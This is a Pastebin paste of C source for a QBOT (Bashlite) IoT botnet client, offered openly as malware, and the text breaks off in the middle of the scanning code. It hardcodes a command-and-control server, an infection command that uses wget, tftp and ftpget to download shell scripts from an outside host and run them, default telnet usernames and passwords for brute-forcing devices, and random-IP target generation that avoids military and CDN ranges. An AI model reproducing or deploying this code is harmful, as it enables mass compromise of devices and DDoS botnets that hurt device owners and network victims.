Cumfort

Cheats Super Private QBOT Client (ENJOY!!)

Sep 3rd, 2017
990
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 75.25 KB | None | 0 0
  1. //Modified By Jonah
  2.  
  3. #define PR_SET_NAME 15
  4. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  5. #define PAD_RIGHT 1
  6. #define PAD_ZERO 2
  7. #define PRINT_BUF_LEN 12
  8. #define CMD_IAC 255
  9. #define CMD_WILL 251
  10. #define CMD_WONT 252
  11. #define CMD_DO 253
  12. #define CMD_DONT 254
  13. #define OPT_SGA 3
  14. #define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
  15. #define PHI 0x9e3779b9
  16. #define KILLER_REBIND_TELNET
  17. #define KILLER_MIN_PID 400
  18. #define KILLER_RESTART_SCAN_TIME 600
  19.  
  20. #define killer_kill_by_port
  21. #include <stdlib.h>
  22. #include <stdarg.h>
  23. #include <stdio.h>
  24. #include <sys/socket.h>
  25. #include <sys/types.h>
  26. #include <netinet/in.h>
  27. #include <arpa/inet.h>
  28. #include <netdb.h>
  29. #include <signal.h>
  30. #include <strings.h>
  31. #include <string.h>
  32. #include <sys/utsname.h>
  33. #include <unistd.h>
  34. #include <fcntl.h>
  35. #include <errno.h>
  36. #include <netinet/ip.h>
  37. #include <netinet/udp.h>
  38. #include <netinet/tcp.h>
  39. #include <sys/wait.h>
  40. #include <sys/ioctl.h>
  41. #include <net/if.h>
  42. //edit everything in the box below
  43. //-----------------------------------------------------------------------------------------------------------------------------------------------------------------
  44. unsigned char *commServer[] = {"94.177.214.182"};
  45. int Server_Botport = 69;
  46. char *infect = "char *infect = "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://80.211.226.219/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 80.211.226.219 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 80.211.226.219; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 80.211.226.219 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'\r\n";
  47. //-----------------------------------------------------------------------------------------------------------------------------------------------------------
  48.  
  49. //Username / Password Configuration
  50. //-----------------------------------------------------------------------------------------------------------------------------------------------------------------
  51. char *usernames[] = {"root\0", "telnet\0", "admin\0", "root\0", "support\0", "root\0", "root\0", "supervisor\0", "default\0", "admin\0", "admin\0", "daemon\0"};
  52. char *passwords[] = {"1234567890\0", "telnet\0", "vnpt\0", "antslq\0", "support\0", "\0", "root\0", "zyad1234\0", "\0", "1234567890\0", "7ujMko0admin\0", "\0"};
  53. //-----------------------------------------------------------------------------------------------------------------------------------------------------------------
  54.  
  55. //hack me ?
  56. //-----------------------------------------------------------------------------------------------------------------------------------------------------------------
  57. char *successes[] = {"BusyBox", "$", "#", ">", (char*)0};
  58. char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
  59. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  60. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "$", "#", "BusyBox", ">", (char*)0};
  61. //-----------------------------------------------------------------------------------------------------------------------------------------------------------------
  62.  
  63. char *inet_ntoa(struct in_addr in);
  64. int initConnection();
  65. int sockprintf(int sock, char *formatStr, ...);
  66. int mainCommSock = 0, currentServer = -1, userID = 1;
  67. typedef uint32_t ipv4_t;
  68.  
  69. uint32_t *pids;
  70. uint32_t scanPid;
  71. uint32_t ngPid;
  72. uint64_t numpids = 0;
  73. struct in_addr ourIP;
  74. unsigned char macAddress[6] = {0};
  75.  
  76. static uint32_t Q[4096], c = 362436;
  77.  
  78. void makeRandomStr(unsigned char *buf, int length);
  79. void init_rand(uint32_t x)
  80. {
  81. int i;
  82.  
  83. Q[0] = x;
  84. Q[1] = x + PHI;
  85. Q[2] = x + PHI + PHI;
  86.  
  87. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  88. }
  89.  
  90. //oh, okay. Sweet dude!
  91. const char alphabet[] = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWUXYZ";
  92. int intN(int n) { return rand() % n; }
  93. char *randomString(int len) {
  94. char *rstr = malloc((len + 1) * sizeof(char));
  95. int i;
  96. for (i = 0; i < len; i++) {
  97. rstr[i] = alphabet[intN(strlen(alphabet))];
  98. }
  99. rstr[len] = '\0';
  100. return rstr;
  101. }
  102.  
  103. void trim(char *str)
  104. {
  105. int i;
  106. int begin = 0;
  107. int end = strlen(str) - 1;
  108.  
  109. while (isspace(str[begin])) begin++;
  110.  
  111. while ((end >= begin) && isspace(str[end])) end--;
  112. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  113.  
  114. str[i - begin] = '\0';
  115. }
  116.  
  117. uint32_t rand_cmwc(void)
  118. {
  119. uint64_t t, a = 18782LL;
  120. static uint32_t i = 4095;
  121. uint32_t x, r = 0xfffffffe;
  122. i = (i + 1) & 4095;
  123. t = a * Q[i] + c;
  124. c = (uint32_t)(t >> 32);
  125. x = t + c;
  126. if (x < c) {
  127. x++;
  128. c++;
  129. }
  130. return (Q[i] = r - x);
  131. }
  132.  
  133. static void printchar(unsigned char **str, int c)
  134. {
  135. if (str) {
  136. **str = c;
  137. ++(*str);
  138. }
  139. else (void)write(1, &c, 1);
  140. }
  141.  
  142. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  143. {
  144. register int pc = 0, padchar = ' ';
  145.  
  146. if (width > 0) {
  147. register int len = 0;
  148. register const unsigned char *ptr;
  149. for (ptr = string; *ptr; ++ptr) ++len;
  150. if (len >= width) width = 0;
  151. else width -= len;
  152. if (pad & PAD_ZERO) padchar = '0';
  153. }
  154. if (!(pad & PAD_RIGHT)) {
  155. for ( ; width > 0; --width) {
  156. printchar (out, padchar);
  157. ++pc;
  158. }
  159. }
  160. for ( ; *string ; ++string) {
  161. printchar (out, *string);
  162. ++pc;
  163. }
  164. for ( ; width > 0; --width) {
  165. printchar (out, padchar);
  166. ++pc;
  167. }
  168.  
  169. return pc;
  170. }
  171.  
  172. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  173. {
  174. unsigned char print_buf[PRINT_BUF_LEN];
  175. register unsigned char *s;
  176. register int t, neg = 0, pc = 0;
  177. register unsigned int u = i;
  178.  
  179. if (i == 0) {
  180. print_buf[0] = '0';
  181. print_buf[1] = '\0';
  182. return prints (out, print_buf, width, pad);
  183. }
  184.  
  185. if (sg && b == 10 && i < 0) {
  186. neg = 1;
  187. u = -i;
  188. }
  189.  
  190. s = print_buf + PRINT_BUF_LEN-1;
  191. *s = '\0';
  192.  
  193. while (u) {
  194. t = u % b;
  195. if( t >= 10 )
  196. t += letbase - '0' - 10;
  197. *--s = t + '0';
  198. u /= b;
  199. }
  200.  
  201. if (neg) {
  202. if( width && (pad & PAD_ZERO) ) {
  203. printchar (out, '-');
  204. ++pc;
  205. --width;
  206. }
  207. else {
  208. *--s = '-';
  209. }
  210. }
  211.  
  212. return pc + prints (out, s, width, pad);
  213. }
  214.  
  215. static int print(unsigned char **out, const unsigned char *format, va_list args )
  216. {
  217. register int width, pad;
  218. register int pc = 0;
  219. unsigned char scr[2];
  220.  
  221. for (; *format != 0; ++format) {
  222. if (*format == '%') {
  223. ++format;
  224. width = pad = 0;
  225. if (*format == '\0') break;
  226. if (*format == '%') goto out;
  227. if (*format == '-') {
  228. ++format;
  229. pad = PAD_RIGHT;
  230. }
  231. while (*format == '0') {
  232. ++format;
  233. pad |= PAD_ZERO;
  234. }
  235. for ( ; *format >= '0' && *format <= '9'; ++format) {
  236. width *= 10;
  237. width += *format - '0';
  238. }
  239. if( *format == 's' ) {
  240. register char *s = (char *)va_arg( args, intptr_t );
  241. pc += prints (out, s?s:"(null)", width, pad);
  242. continue;
  243. }
  244. if( *format == 'd' ) {
  245. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  246. continue;
  247. }
  248. if( *format == 'x' ) {
  249. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  250. continue;
  251. }
  252. if( *format == 'X' ) {
  253. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  254. continue;
  255. }
  256. if( *format == 'u' ) {
  257. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  258. continue;
  259. }
  260. if( *format == 'c' ) {
  261. scr[0] = (unsigned char)va_arg( args, int );
  262. scr[1] = '\0';
  263. pc += prints (out, scr, width, pad);
  264. continue;
  265. }
  266. }
  267. else {
  268. out:
  269. printchar (out, *format);
  270. ++pc;
  271. }
  272. }
  273. if (out) **out = '\0';
  274. va_end( args );
  275. return pc;
  276. }
  277.  
  278. int zprintf(const unsigned char *format, ...)
  279. {
  280. va_list args;
  281. va_start( args, format );
  282. return print( 0, format, args );
  283. }
  284.  
  285. int szprintf(unsigned char *out, const unsigned char *format, ...)
  286. {
  287. va_list args;
  288. va_start( args, format );
  289. return print( &out, format, args );
  290. }
  291.  
  292. int sockprintf(int sock, char *formatStr, ...)
  293. {
  294. unsigned char *textBuffer = malloc(2048);
  295. memset(textBuffer, 0, 2048);
  296. char *orig = textBuffer;
  297. va_list args;
  298. va_start(args, formatStr);
  299. print(&textBuffer, formatStr, args);
  300. va_end(args);
  301. orig[strlen(orig)] = '\n';
  302. //zprintf("buf: %s\n", orig);
  303. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  304. free(orig);
  305. return q;
  306. }
  307.  
  308. static int *fdopen_pids;
  309.  
  310. int fdpopen(unsigned char *program, register unsigned char *type)
  311. {
  312. register int iop;
  313. int pdes[2], fds, pid;
  314.  
  315. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  316.  
  317. if (pipe(pdes) < 0) return -1;
  318. if (fdopen_pids == NULL) {
  319. if ((fds = getdtablesize()) <= 0) return -1;
  320. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  321. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  322. }
  323.  
  324. switch (pid = vfork())
  325. {
  326. case -1:
  327. close(pdes[0]);
  328. close(pdes[1]);
  329. return -1;
  330. case 0:
  331. if (*type == 'r') {
  332. if (pdes[1] != 1) {
  333. dup2(pdes[1], 1);
  334. close(pdes[1]);
  335. }
  336. close(pdes[0]);
  337. } else {
  338. if (pdes[0] != 0) {
  339. (void) dup2(pdes[0], 0);
  340. (void) close(pdes[0]);
  341. }
  342. (void) close(pdes[1]);
  343. }
  344. execl("/bin/sh", "sh", "-c", program, NULL);
  345. _exit(127);
  346. }
  347. if (*type == 'r') {
  348. iop = pdes[0];
  349. (void) close(pdes[1]);
  350. } else {
  351. iop = pdes[1];
  352. (void) close(pdes[0]);
  353. }
  354. fdopen_pids[iop] = pid;
  355. return (iop);
  356. }
  357.  
  358. int fdpclose(int iop)
  359. {
  360. register int fdes;
  361. sigset_t omask, nmask;
  362. int pstat;
  363. register int pid;
  364.  
  365. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  366. (void) close(iop);
  367. sigemptyset(&nmask);
  368. sigaddset(&nmask, SIGINT);
  369. sigaddset(&nmask, SIGQUIT);
  370. sigaddset(&nmask, SIGHUP);
  371. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  372. do {
  373. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  374. } while (pid == -1 && errno == EINTR);
  375. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  376. fdopen_pids[fdes] = 0;
  377. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  378. }
  379.  
  380. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  381. {
  382. int got = 1, total = 0;
  383. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  384. return got == 0 ? NULL : buffer;
  385. }
  386.  
  387. static const long hextable[] = {
  388. [0 ... 255] = -1,
  389. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  390. ['A'] = 10, 11, 12, 13, 14, 15,
  391. ['a'] = 10, 11, 12, 13, 14, 15
  392. };
  393.  
  394. long parseHex(unsigned char *hex)
  395. {
  396. long ret = 0;
  397. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  398. return ret;
  399. }
  400.  
  401. int wildString(const unsigned char* pattern, const unsigned char* string) {
  402. switch(*pattern)
  403. {
  404. case '\0': return *string;
  405. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  406. case '?': return !(*string && !wildString(pattern+1, string+1));
  407. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  408. }
  409. }
  410.  
  411. int getHost(unsigned char *toGet, struct in_addr *i)
  412. {
  413. struct hostent *h;
  414. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  415. return 0;
  416. }
  417.  
  418. void uppercase(unsigned char *str)
  419. {
  420. while(*str) { *str = toupper(*str); str++; }
  421. }
  422.  
  423.  
  424.  
  425. void makeRandomStr(unsigned char *buf, int length)
  426. {
  427. int i = 0;
  428. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  429. }
  430.  
  431. int recvLine(int socket, unsigned char *buf, int bufsize)
  432. {
  433. memset(buf, 0, bufsize);
  434.  
  435. fd_set myset;
  436. struct timeval tv;
  437. tv.tv_sec = 30;
  438. tv.tv_usec = 0;
  439. FD_ZERO(&myset);
  440. FD_SET(socket, &myset);
  441. int selectRtn, retryCount;
  442. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  443. while(retryCount < 10)
  444. {
  445.  
  446. tv.tv_sec = 30;
  447. tv.tv_usec = 0;
  448. FD_ZERO(&myset);
  449. FD_SET(socket, &myset);
  450. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  451. retryCount++;
  452. continue;
  453. }
  454.  
  455. break;
  456. }
  457. }
  458.  
  459. unsigned char tmpchr;
  460. unsigned char *cp;
  461. int count = 0;
  462.  
  463. cp = buf;
  464. while(bufsize-- > 1)
  465. {
  466. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  467. *cp = 0x00;
  468. return -1;
  469. }
  470. *cp++ = tmpchr;
  471. if(tmpchr == '\n') break;
  472. count++;
  473. }
  474. *cp = 0x00;
  475.  
  476. // zprintf("recv: %s\n", cp);
  477.  
  478. return count;
  479. }
  480.  
  481.  
  482. int connectTimeout(int fd, char *host, int port, int timeout)
  483. {
  484. struct sockaddr_in dest_addr;
  485. fd_set myset;
  486. struct timeval tv;
  487. socklen_t lon;
  488.  
  489. int valopt;
  490. long arg = fcntl(fd, F_GETFL, NULL);
  491. arg |= O_NONBLOCK;
  492. fcntl(fd, F_SETFL, arg);
  493.  
  494. dest_addr.sin_family = AF_INET;
  495. dest_addr.sin_port = htons(port);
  496. if(getHost(host, &dest_addr.sin_addr)) return 0;
  497. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  498. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  499.  
  500. if (res < 0) {
  501. if (errno == EINPROGRESS) {
  502. tv.tv_sec = timeout;
  503. tv.tv_usec = 0;
  504. FD_ZERO(&myset);
  505. FD_SET(fd, &myset);
  506. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  507. lon = sizeof(int);
  508. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  509. if (valopt) return 0;
  510. }
  511. else return 0;
  512. }
  513. else return 0;
  514. }
  515.  
  516. arg = fcntl(fd, F_GETFL, NULL);
  517. arg &= (~O_NONBLOCK);
  518. fcntl(fd, F_SETFL, arg);
  519.  
  520. return 1;
  521. }
  522.  
  523. int listFork()
  524. {
  525. uint32_t parent, *newpids, i;
  526. parent = fork();
  527. if (parent <= 0) return parent;
  528. numpids++;
  529. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  530. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  531. newpids[numpids - 1] = parent;
  532. free(pids);
  533. pids = newpids;
  534. return parent;
  535. }
  536. int negotiate(int sock, unsigned char *buf, int len)
  537. {
  538. unsigned char c;
  539.  
  540. switch (buf[1]) {
  541. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  542. case CMD_WILL:
  543. case CMD_WONT:
  544. case CMD_DO:
  545. case CMD_DONT:
  546. c = CMD_IAC;
  547. send(sock, &c, 1, MSG_NOSIGNAL);
  548. if (CMD_WONT == buf[1]) c = CMD_DONT;
  549. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  550. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  551. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  552. send(sock, &c, 1, MSG_NOSIGNAL);
  553. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  554. break;
  555.  
  556. default:
  557. break;
  558. }
  559.  
  560. return 0;
  561. }
  562.  
  563. int matchPrompt(char *bufStr)
  564. {
  565. char *prompts = ":>%$#\0";
  566.  
  567. int bufLen = strlen(bufStr);
  568. int i, q = 0;
  569. for(i = 0; i < strlen(prompts); i++)
  570. {
  571. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  572. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  573. }
  574.  
  575. return 0;
  576. }
  577.  
  578. static ipv4_t get_random_ip(void)
  579. {
  580. uint32_t tmp;
  581. uint8_t o1, o2, o3, o4;
  582. do
  583. {
  584. tmp = rand_cmwc();
  585. o1 = tmp & 0xff;
  586. o2 = (tmp >> 8) & 0xff;
  587. o3 = (tmp >> 16) & 0xff;
  588. o4 = (tmp >> 24) & 0xff;
  589. }
  590. while
  591. (o1 == 127 || // 127.0.0.0/8 - Loopback
  592. (o1 == 0) || // 0.0.0.0/8 - Invalid address space
  593. (o1 == 3) || // 3.0.0.0/8 - General Electric Company
  594. (o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
  595. (o1 == 56) || // 56.0.0.0/8 - US Postal Service
  596. (o1 == 10) || // 10.0.0.0/8 - Internal network
  597. (o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
  598. (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
  599. (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
  600. (o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
  601. (o1 == 208 && o2 == 67) || // whole sale
  602. (o1 == 72 && o2 == 246) || //akami
  603. (o1 == 170 && o2 > 209) || //fedz
  604. (o1 == 104 && o2 == 16) || //cloudflare
  605. (o1 == 128 && o2 == 190) || //i forgot
  606. (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
  607. (o1 >= 224) || // 224.*.*.*+ - Multicast
  608. (o1 >= 225) || // 225.*.*.*+ - Multicast
  609. (o1 >= 226) || // 226.*.*.*+ - Multicast
  610. (o1 >= 227) || // 227.*.*.*+ - Multicast
  611. (o1 >= 228) || // 228.*.*.*+ - Multicast
  612. (o1 >= 239) || // 239.*.*.*+ - Multicast
  613. (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
  614. );
  615. char ip[16];
  616. szprintf(ip, "%d.%d.%d.%d", o1, o2, o3, o4);
  617. return INET_ADDR(o1,o2,o3,o4);
  618.  
  619. }
  620.  
  621. static uint8_t ipState[5] = {0};
  622. in_addr_t HackerScan2()
  623. {
  624. char ip[16];
  625. ipState[1] = 0;
  626. ipState[2] = 0;
  627. ipState[3] = 0;
  628. ipState[4] = 0;
  629. ipState[1] = rand() % 255;
  630. ipState[2] = rand() % 255;
  631. ipState[3] = rand() % 255;
  632. ipState[4] = rand() % 255;
  633. int randnum = rand() % 241;
  634. if(randnum == 0)
  635. {
  636. szprintf(ip, "96.30.%d.%d", ipState[3], ipState[4]);
  637. }
  638. if(randnum == 1)
  639. {
  640. szprintf(ip, "210.213.%d.%d", ipState[3], ipState[4]);
  641. }
  642. if(randnum == 2)
  643. {
  644. szprintf(ip, "122.2.%d.%d", ipState[3], ipState[4]);
  645. }
  646. if(randnum == 3)
  647. {
  648. szprintf(ip, "122.3.%d.%d", ipState[3], ipState[4]);
  649. }
  650. if(randnum == 4)
  651. {
  652. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  653. }
  654. if(randnum == 5)
  655. {
  656. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  657. }
  658. if(randnum == 6)
  659. {
  660. szprintf(ip, "119.94.%d.%d", ipState[3], ipState[4]);
  661. }
  662. if(randnum == 7)
  663. {
  664. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  665. }
  666. if(randnum == 8)
  667. {
  668. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  669. }
  670. if(randnum == 9)
  671. {
  672. szprintf(ip, "119.93.%d.%d", ipState[3], ipState[4]);
  673. }
  674. if(randnum == 10)
  675. {
  676. szprintf(ip, "119.92.%d.%d", ipState[3], ipState[4]);
  677. }
  678. if(randnum == 11)
  679. {
  680. szprintf(ip, "124.83.%d.%d", ipState[3], ipState[4]);
  681. }
  682. if(randnum == 12)
  683. {
  684. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  685. }
  686. if(randnum == 13)
  687. {
  688. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  689. }
  690. if(randnum == 14)
  691. {
  692. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  693. }
  694. if(randnum == 15)
  695. {
  696. szprintf(ip, "122.54.%d.%d", ipState[3], ipState[4]);
  697. }
  698. if(randnum == 16)
  699. {
  700. szprintf(ip, "122.53.%d.%d", ipState[3], ipState[4]);
  701. }
  702. if(randnum == 17)
  703. {
  704. szprintf(ip, "122.52.%d.%d", ipState[3], ipState[4]);
  705. }
  706. if(randnum == 18)
  707. {
  708. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  709. }
  710. if(randnum == 19)
  711. {
  712. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  713. }
  714. if(randnum == 20)
  715. {
  716. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  717. }
  718. if(randnum == 21)
  719. {
  720. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  721. }
  722. if(randnum == 22)
  723. {
  724. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  725. }
  726. if(randnum == 23)
  727. {
  728. szprintf(ip, "124.107.%d.%d", ipState[3], ipState[4]);
  729. }
  730. if(randnum == 24)
  731. {
  732. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  733. }
  734. if(randnum == 25)
  735. {
  736. szprintf(ip, "124.106.%d.%d", ipState[3], ipState[4]);
  737. }
  738. if(randnum == 26)
  739. {
  740. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  741. }
  742. if(randnum == 27)
  743. {
  744. szprintf(ip, "124.105.%d.%d", ipState[3], ipState[4]);
  745. }
  746. if(randnum == 28)
  747. {
  748. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  749. }
  750. if(randnum == 29)
  751. {
  752. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  753. }
  754. if(randnum == 30)
  755. {
  756. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  757. }
  758. if(randnum == 31)
  759. {
  760. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  761. }
  762. if(randnum == 32)
  763. {
  764. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  765. }
  766. if(randnum == 33)
  767. {
  768. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  769. }
  770. if(randnum == 35)
  771. {
  772. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  773. }
  774. if(randnum == 36)
  775. {
  776. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  777. }
  778. if(randnum == 37)
  779. {
  780. szprintf(ip, "124.104.%d.%d", ipState[3], ipState[4]);
  781. }
  782. if(randnum == 38)
  783. {
  784. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  785. }
  786. if(randnum == 39)
  787. {
  788. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  789. }
  790. if(randnum == 40)
  791. {
  792. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  793. }
  794. if(randnum == 41)
  795. {
  796. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  797. }
  798. if(randnum == 42)
  799. {
  800. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  801. }
  802. if(randnum == 43)
  803. {
  804. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  805. }
  806. if(randnum == 44)
  807. {
  808. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  809. }
  810. if(randnum == 45)
  811. {
  812. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  813. }
  814. if(randnum == 46)
  815. {
  816. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  817. }
  818. if(randnum == 47)
  819. {
  820. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  821. }
  822. if(randnum == 48)
  823. {
  824. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  825. }
  826. if(randnum == 49)
  827. {
  828. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  829. }
  830. if(randnum == 50)
  831. {
  832. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  833. }
  834. if(randnum == 51)
  835. {
  836. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  837. }
  838. if(randnum == 52)
  839. {
  840. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  841. }
  842. if(randnum == 53)
  843. {
  844. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  845. }
  846. if(randnum == 54)
  847. {
  848. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  849. }
  850. if(randnum == 55)
  851. {
  852. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  853. }
  854. if(randnum == 56)
  855. {
  856. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  857. }
  858. if(randnum == 57)
  859. {
  860. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  861. }
  862. if(randnum == 58)
  863. {
  864. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  865. }
  866. if(randnum == 59)
  867. {
  868. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  869. }
  870. if(randnum == 60)
  871. {
  872. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  873. }
  874. if(randnum == 61)
  875. {
  876. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  877. }
  878. if(randnum == 62)
  879. {
  880. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  881. }
  882. if(randnum == 63)
  883. {
  884. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  885. }
  886. if(randnum == 64)
  887. {
  888. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  889. }
  890. if(randnum == 65)
  891. {
  892. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  893. }
  894. if(randnum == 66)
  895. {
  896. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  897. }
  898. if(randnum == 67)
  899. {
  900. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  901. }
  902. if(randnum == 68)
  903. {
  904. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  905. }
  906. if(randnum == 69)
  907. {
  908. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  909. }
  910. if(randnum == 70)
  911. {
  912. szprintf(ip, "89.18.%d.%d", ipState[3], ipState[4]);
  913. }
  914. if(randnum == 71)
  915. {
  916. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  917. }
  918. if(randnum == 72)
  919. {
  920. szprintf(ip, "122.252.%d.%d", ipState[3], ipState[4]);
  921. }
  922. if(randnum == 73)
  923. {
  924. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  925. }
  926. if(randnum == 74)
  927. {
  928. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  929. }
  930. if(randnum == 75)
  931. {
  932. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  933. }
  934. if(randnum == 76)
  935. {
  936. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  937. }
  938. if(randnum == 77)
  939. {
  940. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  941. }
  942. if(randnum == 78)
  943. {
  944. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  945. }
  946. if(randnum == 79)
  947. {
  948. szprintf(ip, "49.144.%d.%d", ipState[3], ipState[4]);
  949. }
  950. if(randnum == 80)
